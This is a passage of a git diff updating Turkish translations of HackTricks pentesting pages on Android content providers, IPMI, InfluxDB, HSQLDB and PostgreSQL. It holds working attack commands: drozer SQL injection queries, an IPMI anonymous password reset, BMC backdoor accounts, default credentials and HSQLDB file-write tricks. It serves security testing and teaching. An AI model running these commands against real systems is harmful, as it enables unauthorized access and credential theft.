verilere erişebilir veya bazı zayıflıkları (SQL Injection veya Path Traversal) istismar edebilirsiniz.** @@ -66,10 +64,10 @@ Sorgu şöyle olacak: `content://name.of.package.class/declared_name` ## **Veritabanı destekli İçerik Sağlayıcılar** -Muhtemelen çoğu İçerik Sağlayıcı, bir **veritabanı** için **arayüz** olarak kullanılmaktadır. Bu nedenle, ona erişebilirseniz, bilgileri **çıkarabilir, güncelleyebilir, ekleyebilir ve silebilirsiniz**.\ -**Hassas bilgilere erişip erişemeyeceğinizi** kontrol edin veya **yetkilendirme** mekanizmalarını atlamak için değiştirmeyi deneyin. +Muhtemelen çoğu İçerik Sağlayıcı, bir **veritabanı** için **arayüz** olarak kullanılmaktadır. Bu nedenle, ona erişebilirseniz, bilgileri **çıkarma, güncelleme, ekleme ve silme** işlemlerini yapabilirsiniz.\ +**Hassas bilgilere** erişip erişemediğinizi kontrol edin veya **yetkilendirme** mekanizmalarını atlatmak için değiştirmeyi deneyin. -İçerik Sağlayıcının kodunu kontrol ederken, _query, insert, update ve delete_ gibi **fonksiyonlar** arayın: +Content Provider kodunu kontrol ederken, _query, insert, update ve delete_ gibi adlandırılmış **fonksiyonları** da **gözden geçirin**: ![](<../../../images/image (887).png>) @@ -87,9 +85,9 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` -### İçerik Ekle +### İçerik Ekleme -Veritabanını sorgulayarak **sütunların adını** öğreneceksiniz, ardından veritabanına veri ekleyebilirsiniz: +Veritabanını sorgulayarak **sütunların adlarını** öğreneceksiniz, ardından veritabanına veri ekleyebilirsiniz: ![](<../../../images/image (98).png>) @@ -97,13 +95,13 @@ Veritabanını sorgulayarak **sütunların adını** öğreneceksiniz, ardından _Ekleme ve güncelleme işlemlerinde --string ile string, --double ile double, --float, --integer, --long, --short, --boolean belirtmek için kullanabilirsiniz._ -### İçeriği Güncelle +### İçeriği Güncelleme -Sütunların adını bildiğinizde **girdileri** de **değiştirebilirsiniz**: +Sütunların adlarını bildiğinizde **girişleri** de **değiştirebilirsiniz**: ![](<../../../images/image (780).png>) -### İçeriği Sil +### İçeriği Silme ![](<../../../images/image (423).png>) @@ -114,7 +112,7 @@ SQL enjeksiyonunu **(SQLite)** test etmek, içerik sağlayıcısına geçirilen ![](<../../../images/image (784).png>) -**SQL enjeksiyonlarını** test etmek için bu **parametreleri** **istismar** etmeyi deneyebilirsiniz: +**SQL enjeksiyonlarını** test etmek için bu **parametreleri** **istismar etmeyi** deneyebilirsiniz: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') @@ -127,7 +125,7 @@ FROM SQLITE_MASTER WHERE type='table';--" | table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | ``` -**Drozer ile Otomatik SQL Enjeksiyonu Keşfi** +**Drozer ile Otomatik SQLInjection keşfi** ``` dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index f4ac56d40..1a61e2148 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -1,31 +1,29 @@ # 623/UDP/TCP - IPMI -## 623/UDP/TCP - IPMI - {{#include ../banners/hacktricks-training.md}} ## Temel Bilgiler -### **IPMI Genel Bakış** +### **IPMI Genel Görünümü** -**[Akıllı Platform Yönetim Arayüzü (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**, işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerine olanak tanır, hatta sistem kapalı veya yanıt vermediğinde bile, ve özellikle şunlar için faydalıdır: +**[Akıllı Platform Yönetim Arayüzü (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**, işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerine olanak tanır, hatta sistem kapalı veya yanıt vermediğinde bile, ve özellikle aşağıdaki durumlar için faydalıdır: - OS öncesi önyükleme yapılandırmaları - Güç kapalı yönetimi - Sistem arızalarından kurtarma -IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleme yeteneğine sahiptir, ayrıca envanter bilgileri sağlama, donanım günlüklerini gözden geçirme ve SNMP aracılığıyla uyarılar gönderme işlevi de vardır. İşlemi için gerekli olanlar bir güç kaynağı ve bir LAN bağlantısıdır. +IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleme yeteneğine sahiptir, ayrıca envanter bilgisi sağlama, donanım günlüklerini gözden geçirme ve SNMP aracılığıyla uyarılar gönderme işlevi de vardır. İşleyişi için gerekli olanlar bir güç kaynağı ve bir LAN bağlantısıdır. -1998'de Intel tarafından tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmiş, uzaktan yönetim yeteneklerini artırmıştır, özellikle 2.0 sürümünün LAN üzerinden seri desteği ile. Ana bileşenler şunlardır: +Intel tarafından 1998'de tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmiş, uzaktan yönetim yeteneklerini artırmıştır, özellikle 2.0 sürümünün LAN üzerinden seri desteği ile. Ana bileşenler şunlardır: - **Ana Kart Yönetim Kontrolcüsü (BMC):** IPMI işlemleri için ana mikro denetleyici. -- **İletişim Araçları ve Arayüzleri:** ICMB, IPMB ve yerel ve ağ bağlantıları için çeşitli arayüzler dahil olmak üzere iç ve dış iletişim için. +- **İletişim Araçları ve Arayüzleri:** ICMB, IPMB ve yerel ile ağ bağlantıları için çeşitli arayüzler dahil olmak üzere iç ve dış iletişim için. - **IPMI Belleği:** Günlükleri ve verileri depolamak için. ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) -**Varsayılan Port**: 623/UDP/TCP (Genellikle UDP'de bulunur ama TCP'de de çalışıyor olabilir) +**Varsayılan Port**: 623/UDP/TCP (Genellikle UDP üzerindedir ama TCP üzerinde de çalışabilir) ## Sayım @@ -44,7 +42,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10 IPMI 2.0 alanında, Dan Farmer tarafından önemli bir güvenlik açığı keşfedildi ve bu açık **cipher type 0** aracılığıyla ortaya çıktı. Bu zayıflık, [Dan Farmer'ın araştırmasında](http://fish2.com/ipmi/cipherzero.html) ayrıntılı olarak belgelenmiştir ve geçerli bir kullanıcı hedef alındığında herhangi bir şifre ile yetkisiz erişim sağlar. Bu zayıflık, HP, Dell ve Supermicro gibi üreticilerin çeşitli BMC'lerinde bulundu ve tüm IPMI 2.0 uygulamalarında yaygın bir sorun olduğunu göstermektedir. -### **Cipher 0 ile IPMI Kimlik Doğrulama Atlatma** +### **Cipher 0 Üzerinden IPMI Kimlik Doğrulama Atlatma** Bu açığı tespit etmek için aşağıdaki Metasploit yardımcı tarayıcısı kullanılabilir: ```bash @@ -62,7 +60,7 @@ Bu zafiyet, mevcut herhangi bir kullanıcı adı için tuzlu hashlenmiş şifrel ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` -### **IPMI Anonim Kimlik Doğrulama** +### **IPMI Anonim Kimlik Doğrulaması** Birçok BMC'deki varsayılan yapılandırma, boş kullanıcı adı ve şifre dizeleri ile karakterize edilen "anonim" erişime izin verir. Bu yapılandırma, `ipmitool` kullanarak adlandırılmış kullanıcı hesaplarının şifrelerini sıfırlamak için istismar edilebilir: ```bash @@ -71,31 +69,31 @@ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Supermicro IPMI Düz Metin Parolaları** -IPMI 2.0'daki kritik bir tasarım tercihi, kimlik doğrulama amaçları için BMC'lerde düz metin parolalarının depolanmasını gerektirir. Supermicro'nun bu parolaları `/nv/PSBlock` veya `/nv/PSStore` gibi yerlerde depolaması, önemli güvenlik endişeleri doğurmaktadır: +IPMI 2.0'daki kritik bir tasarım seçeneği, kimlik doğrulama amaçları için BMC'lerde düz metin parolalarının depolanmasını gerektirir. Supermicro'nun bu parolaları `/nv/PSBlock` veya `/nv/PSStore` gibi yerlerde depolaması, önemli güvenlik endişeleri doğurmaktadır: ```bash cat /nv/PSBlock ``` ### **Supermicro IPMI UPnP Açığı** -Supermicro'nun IPMI firmware'ında, özellikle UDP port 1900'de bir UPnP SSDP dinleyicisi bulundurması, ciddi bir güvenlik riski oluşturur. [Rapid7'nin açıklamasında](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detaylandırıldığı gibi, UPnP Cihazları için Intel SDK sürüm 1.3.1'deki açıklar, BMC'ye root erişimi sağlar: +Supermicro'nun IPMI firmware'ında, özellikle UDP port 1900'de bir UPnP SSDP dinleyicisi bulundurması, ciddi bir güvenlik riski oluşturur. [Rapid7'nin ifşasında](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detaylandırıldığı gibi, UPnP Cihazları için Intel SDK sürüm 1.3.1'deki açıklar, BMC'ye root erişimi sağlar: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### Brute Force -**HP, üretim sırasında varsayılan şifreyi rastgele belirler** ve bu, **Integrated Lights Out (iLO)** ürünleri için geçerlidir. Bu uygulama, genellikle **statik varsayılan kimlik bilgileri** kullanan diğer üreticilerle tezat oluşturur. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerin özeti aşağıda verilmiştir: +**HP, üretim sırasında varsayılan şifreyi rastgele belirler** ve bu, **Entegre Işıklar Kapalı (iLO)** ürünü için geçerlidir. Bu uygulama, genellikle **statik varsayılan kimlik bilgileri** kullanan diğer üreticilerle tezat oluşturur. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerin özeti aşağıda verilmiştir: -- **HP Integrated Lights Out (iLO)**, varsayılan şifre olarak **fabrika tarafından rastgele oluşturulmuş 8 karakterli bir dize** kullanır ve bu, daha yüksek bir güvenlik seviyesini gösterir. +- **HP Entegre Işıklar Kapalı (iLO)**, varsayılan şifre olarak **fabrika rastgele belirlenmiş 8 karakterli bir dize** kullanır ve bu, daha yüksek bir güvenlik seviyesini gösterir. - **Dell'in iDRAC, IBM'in IMM** ve **Fujitsu'nun Entegre Uzaktan Yönetim Kontrolörü** gibi ürünler, sırasıyla "calvin", "PASSW0RD" (sıfır ile) ve "admin" gibi kolay tahmin edilebilir şifreler kullanır. - Benzer şekilde, **Supermicro IPMI (2.0), Oracle/Sun ILOM** ve **ASUS iKVM BMC** de "ADMIN", "changeme" ve "admin" gibi basit varsayılan kimlik bilgileri kullanmaktadır. ## Accessing the Host via BMC -Baseboard Management Controller (BMC) üzerinden yönetimsel erişim, ana bilgisayarın işletim sistemine erişim için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini kullanmaktır. Bu, ana bilgisayarı GRUB üzerinden bir root shell'e yeniden başlatarak (`init=/bin/sh` kullanarak) veya kurtarma diski olarak ayarlanmış sanal bir CD-ROM'dan başlatarak yapılabilir. Bu yöntemler, ana bilgisayarın diskini doğrudan manipüle etmeye, arka kapılar eklemeye, veri çıkarmaya veya güvenlik değerlendirmesi için gerekli herhangi bir eylemi gerçekleştirmeye olanak tanır. Ancak, bu ana bilgisayarın yeniden başlatılmasını gerektirir, bu da önemli bir dezavantajdır. Yeniden başlatmadan, çalışan ana bilgisayara erişim daha karmaşık hale gelir ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Ana bilgisayarın fiziksel veya seri konsolu oturum açmış durumda kalırsa, BMC'nin KVM veya seri üzerinden LAN (sol) işlevselliği aracılığıyla `ipmitool` kullanılarak kolayca ele geçirilebilir. Paylaşılan donanım kaynaklarının, örneğin i2c veri yolu ve Super I/O çipi gibi, istismarını araştırmak, daha fazla inceleme gerektiren bir alandır. +Ana Kart Yönetim Kontrolörü (BMC) üzerinden yönetici erişimi, ana bilgisayarın işletim sistemine erişim için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini kullanmaktır. Bu, ana bilgisayarı GRUB üzerinden bir root shell'e yeniden başlatarak (`init=/bin/sh` kullanarak) veya kurtarma diski olarak ayarlanmış sanal bir CD-ROM'dan başlatarak yapılabilir. Bu yöntemler, ana bilgisayarın diskini doğrudan manipüle etmeye, arka kapılar eklemeye, veri çıkarmaya veya güvenlik değerlendirmesi için gerekli diğer eylemleri gerçekleştirmeye olanak tanır. Ancak, bu ana bilgisayarı yeniden başlatmayı gerektirir, bu da önemli bir dezavantajdır. Yeniden başlatmadan, çalışan ana bilgisayara erişim daha karmaşık hale gelir ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Ana bilgisayarın fiziksel veya seri konsolu oturum açmış durumda kalırsa, BMC'nin KVM veya seri üzerinden LAN (sol) işlevselliği aracılığıyla `ipmitool` kullanılarak kolayca ele geçirilebilir. Paylaşılan donanım kaynaklarının, örneğin i2c veri yolu ve Süper I/O çipi gibi, istismarını araştırmak daha fazla inceleme gerektiren bir alandır. ## Introducing Backdoors into BMC from the Host -BMC ile donatılmış bir ana bilgisayarı ele geçirdikten sonra, **yerel BMC arayüzü kullanılarak bir arka kapı kullanıcı hesabı eklenebilir**, bu da sunucuda kalıcı bir varlık oluşturur. Bu saldırı, ele geçirilen ana bilgisayarda **`ipmitool`** bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, kimlik doğrulama gereksinimini atlayarak ana bilgisayarın yerel arayüzü kullanılarak BMC'ye yeni bir kullanıcı hesabının nasıl enjekte edilebileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS dahil olmak üzere geniş bir işletim sistemi yelpazesine uygulanabilir. +BMC ile donatılmış bir ana bilgisayarı tehlikeye attıktan sonra, **yerel BMC arayüzü kullanılarak bir arka kapı kullanıcı hesabı eklenebilir**, bu da sunucuda kalıcı bir varlık oluşturur. Bu saldırı, tehlikeye atılmış ana bilgisayarda **`ipmitool`** bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, kimlik doğrulama gereksinimini atlayarak ana bilgisayarın yerel arayüzü kullanılarak BMC'ye yeni bir kullanıcı hesabının nasıl enjekte edilebileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS dahil olmak üzere geniş bir işletim sistemi yelpazesine uygulanabilir. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit @@ -115,7 +113,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit - `port:623` -## Referanslar +## References - [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index d0681d412..d330d808e 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,11 +1,10 @@ # 8086 - Pentesting InfluxDB - {{#include ../banners/hacktricks-training.md}} ## Temel Bilgiler -**InfluxDB**, InfluxData tarafından geliştirilen açık kaynaklı bir **zaman serisi veritabanı (TSDB)**'dir. TSDB'ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarıyla karşılaştırıldığında, TSDB'ler zaman serisi veri setleri için **depolama alanı** ve **performans** açısından önemli iyileştirmeler sunar. Özel sıkıştırma algoritmaları kullanırlar ve eski verileri otomatik olarak kaldıracak şekilde yapılandırılabilirler. Özel veritabanı indeksleri de sorgu performansını artırır. +**InfluxDB**, InfluxData tarafından geliştirilen açık kaynaklı bir **zaman serisi veritabanı (TSDB)**'dir. TSDB'ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarıyla karşılaştırıldığında, TSDB'ler zaman serisi veri setleri için **depolama alanı** ve **performans** açısından önemli iyileştirmeler sağlar. Özel sıkıştırma algoritmaları kullanırlar ve eski verileri otomatik olarak kaldıracak şekilde yapılandırılabilirler. Özel veritabanı indeksleri de sorgu performansını artırır. **Varsayılan port**: 8086 ``` @@ -24,11 +23,11 @@ InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir. influx -host 'host name' -port 'port #' > use _internal ``` -Eğer bu tür bir hata alıyorsanız: `ERR: unable to parse authentication credentials`, bu, **bazı kimlik bilgileri beklediği** anlamına gelir. +Eğer bu tür bir hata alırsanız: `ERR: unable to parse authentication credentials`, bu, **bazı kimlik bilgileri beklediği** anlamına gelir. ``` influx –username influx –password influx_pass ``` -InfluxDB'de kimlik doğrulamasını atlamaya izin veren bir güvenlik açığı vardı: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) +Bir kimlik doğrulama atlatmaya izin veren bir InfluxDB açığı vardı: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) ### Manuel Sayım @@ -47,7 +46,7 @@ _internal ``` #### Tablo/ölçümleri göster -The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) **ölçümlerin** InfluxDB'deki SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** adlandırması, her birinin belirli bir varlıkla ilgili verileri barındırdığını gösterir. +The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explains that **ölçümler** in InfluxDB can be paralleled with SQL tabloları. The nomenclature of these **ölçümler** is indicative of their respective content, each housing data relevant to a particular entity. ```bash > show measurements name: measurements @@ -97,7 +96,7 @@ time cpu host usage_guest usage_guest_nice usage_idle 1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101 ``` > [!WARNING] -> Kimlik doğrulama atlatma ile yapılan bazı testlerde, tablonun adının çift tırnak içinde olması gerektiği belirtildi: `select * from "cpu"` +> Kimlik doğrulama atlatması ile yapılan bazı testlerde, tablonun adının çift tırnak içinde olması gerektiği belirtildi: `select * from "cpu"` ### Otomatik Kimlik Doğrulama ```bash diff --git a/src/network-services-pentesting/9001-pentesting-hsqldb.md b/src/network-services-pentesting/9001-pentesting-hsqldb.md index 315892bba..7b357a1de 100644 --- a/src/network-services-pentesting/9001-pentesting-hsqldb.md +++ b/src/network-services-pentesting/9001-pentesting-hsqldb.md @@ -1,6 +1,8 @@ +# 9001 - Pentesting HSQLDB + {{#include ../banners/hacktricks-training.md}} -# Temel Bilgiler +## Temel Bilgiler **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**, Java ile yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Bellek içi ve disk tabanlı tablolarla küçük, hızlı çok iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler. @@ -8,29 +10,27 @@ ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` -# Bilgi +## Varsayılan Ayarlar -### Varsayılan Ayarlar - -Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve yetkileri artırmaya çalışıyorsunuzdur. +Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve ayrıcalıkları artırmaya çalışıyorsunuzdur. Varsayılan kimlik bilgileri genellikle `sa` ve boş bir şifre ile gelir. -Başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini arayın. +Eğer başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini aramak için ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` -Veritabanı adını dikkatlice not edin - bağlanmak için buna ihtiyacınız olacak. +Not edin, veritabanı adını dikkatlice not alın - bağlanmak için buna ihtiyacınız olacak. -# Bilgi Toplama +## Bilgi Toplama DB örneğine bağlanmak için [HSQLDB'yi indirerek](https://sourceforge.net/projects/hsqldb/files/) `hsqldb/lib/hsqldb.jar` dosyasını çıkarın. GUI uygulamasını \(eww\) `java -jar hsqldb.jar` komutuyla çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın. Bağlantı URL'sinin uzaktan bir sistem için şöyle görüneceğini unutmayın: `jdbc:hsqldb:hsql://ip/DBNAME`. -# Hileler +## Hileler -## Java Dil Rutinleri +### Java Dil Rutinleri HSQLDB'den Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın classpath'inde olması gerektiğini unutmayın. @@ -38,7 +38,7 @@ JRT'ler `fonksiyonlar` veya `prosedürler` olabilir. Fonksiyonlar, Java yöntemi Çağırmak istediğimiz Java yöntemi void döndürüyorsa, `CALL` ifadesi ile çağrılan bir prosedür kullanmamız gerekir. -## Java Sistem Özelliklerini Okuma +### Java Sistem Özelliklerini Okuma Fonksiyon oluştur: ```text @@ -52,9 +52,9 @@ VALUES(getsystemproperty('user.name')) ``` Aşağıda bir [sistem özellikleri listesi bulabilirsiniz](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). -## Dosyaya İçerik Yazma +### Dosyaya İçerik Yazma -Hex kodlu öğeleri diske yazmak için uygulamanın sınıf yoluna otomatik olarak yüklenen JDK'da bulunan `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java aracı kullanılabilir. **Maksimum boyutun 1024 byte olduğunu unutmayın**. +Hex kodlu öğeleri diske yazmak için uygulamanın sınıf yoluna otomatik olarak yüklenen JDK'da bulunan `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget'ını özel bir prosedür aracılığıyla kullanabilirsiniz. **Maksimum boyutun 1024 bayt olduğunu unutmayın**. Prosedürü oluşturun: ```text diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 3f55c9328..e93f1a416 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,11 +1,10 @@ # 5432,5433 - Pentesting Postgresql - {{#include ../banners/hacktricks-training.md}} ## **Temel Bilgiler** -**PostgreSQL**, **açık kaynak** olan bir **nesne-ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle onu geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini yönetmesine olanak tanır, bu da onu geliştiriciler ve organizasyonlar için çok yönlü bir seçim haline getirir. +**PostgreSQL**, **açık kaynak** bir **nesne-ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle onu geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini yönetmesine olanak tanır, bu da onu geliştiriciler ve organizasyonlar için çok yönlü bir seçim haline getirir. **Varsayılan port:** 5432, ve bu port zaten kullanılıyorsa, postgresql'in kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacağı görünmektedir. ``` @@ -55,7 +54,7 @@ SELECT * FROM pg_extension; > [!WARNING] > Eğer **`\list`** komutunu çalıştırdığınızda **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanası** içinde olduğunuzu bilirsiniz. -**PostgreSQL veritabanını nasıl kötüye kullanacağınız** hakkında daha fazla bilgi için kontrol edin: +Daha fazla bilgi için **PostgreSQL veritabanını nasıl kötüye kullanacağınız** hakkında kontrol edin: {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/ @@ -70,7 +69,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ### **Port taraması** -[**Bu araştırmaya**](https://www.exploit-db.com/papers/13084) göre, bir bağlantı denemesi başarısız olduğunda, `dblink` bir `sqlclient_unable_to_establish_sqlconnection` istisnası fırlatır ve hata hakkında bir açıklama içerir. Bu detayların örnekleri aşağıda listelenmiştir. +[**Bu araştırmaya**](https://www.exploit-db.com/papers/13084) göre, bir bağlantı denemesi başarısız olduğunda, `dblink` bir hata açıklaması içeren `sqlclient_unable_to_establish_sqlconnection` istisnası fırlatır. Bu detayların örnekleri aşağıda listelenmiştir. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 @@ -93,7 +92,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` -ve +or ``` DETAIL: FATAL: password authentication failed for user "name" ``` @@ -102,7 +101,7 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını elde etmek mümkün değildir. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Sistem tablolarından kullanıcı adları ve şifreleri çıkarmak mümkün değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü bu olumlu sonuçlar verebilir. +PL/pgSQL fonksiyonlarında, şu anda istisna detaylarını elde etmek mümkün değildir. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Sistem tablolarından kullanıcı adları ve şifreleri çıkarmak mümkün değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü bu potansiyel olarak olumlu sonuçlar verebilir. ## Ayrıcalıkların Sayımı @@ -110,26 +109,26 @@ PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını elde etmek mümk | Rol Türleri | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir | -| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır | -| rolcreaterole | Rol daha fazla rol oluşturabilir | -| rolcreatedb | Rol veritabanları oluşturabilir | -| rolcanlogin | Rol giriş yapabilir. Yani, bu rol başlangıç oturum yetkilendirme tanımlayıcısı olarak verilebilir | +| rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir. | +| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır. | +| rolcreaterole | Rol daha fazla rol oluşturabilir. | +| rolcreatedb | Rol veritabanları oluşturabilir. | +| rolcanlogin | Rol giriş yapabilir. Yani, bu rol başlangıç oturum yetkilendirme tanımlayıcısı olarak verilebilir. | | rolreplication | Rol bir çoğaltma rolüdür. Bir çoğaltma rolü, çoğaltma bağlantılarını başlatabilir ve çoğaltma slotlarını oluşturup kaldırabilir. | -| rolconnlimit | Giriş yapabilen roller için, bu rolün yapabileceği maksimum eşzamanlı bağlantı sayısını ayarlar. -1 sınırsız anlamına gelir. | -| rolpassword | Şifre değil (her zaman `********` olarak okunur) | -| rolvaliduntil | Şifre son kullanma zamanı (sadece şifre kimlik doğrulaması için kullanılır); son kullanma yoksa null | +| rolconnlimit | Giriş yapabilen roller için, bu rolün yapabileceği maksimum eşzamanlı bağlantı sayısını ayarlar. -1 sınırsız anlamına gelir. | +| rolpassword | Şifre değil (her zaman `********` olarak okunur). | +| rolvaliduntil | Şifre son kullanma zamanı (sadece şifre kimlik doğrulaması için kullanılır); son kullanma tarihi yoksa null. | | rolbypassrls | Rol, her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) bakın. | -| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özel varsayılanları | -| oid | Rolün kimliği | +| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özel varsayılanları. | +| oid | Rolün kimliği. | #### İlginç Gruplar -- Eğer **`pg_execute_server_program`** üyesiyseniz, programları **çalıştırabilirsiniz** -- Eğer **`pg_read_server_files`** üyesiyseniz, dosyaları **okuyabilirsiniz** -- Eğer **`pg_write_server_files`** üyesiyseniz, dosyaları **yazabilirsiniz** +- Eğer **`pg_execute_server_program`** üyesiyseniz, programları **çalıştırabilirsiniz**. +- Eğer **`pg_read_server_files`** üyesiyseniz, dosyaları **okuyabilirsiniz**. +- Eğer **`pg_write_server_files`** üyesiyseniz, dosyaları **yazabilirsiniz**. -> [!NOTE] +> [!TIP] > Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** **aynıdır**. Bu sadece **nasıl kullandığınıza** ve **giriş yapmasına izin verip vermediğinize** bağlıdır. ```sql # Get users roles @@ -212,7 +211,7 @@ SELECT * FROM pg_proc; ### Dizinleri ve dosyaları oku -Bu [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun (adı **`pg_read_server_files`**) ve **süper kullanıcıların** herhangi bir yolda **`COPY`** yöntemini kullanabilirler (bakınız `convert_and_check_filename` `genfile.c` içinde): +Bu 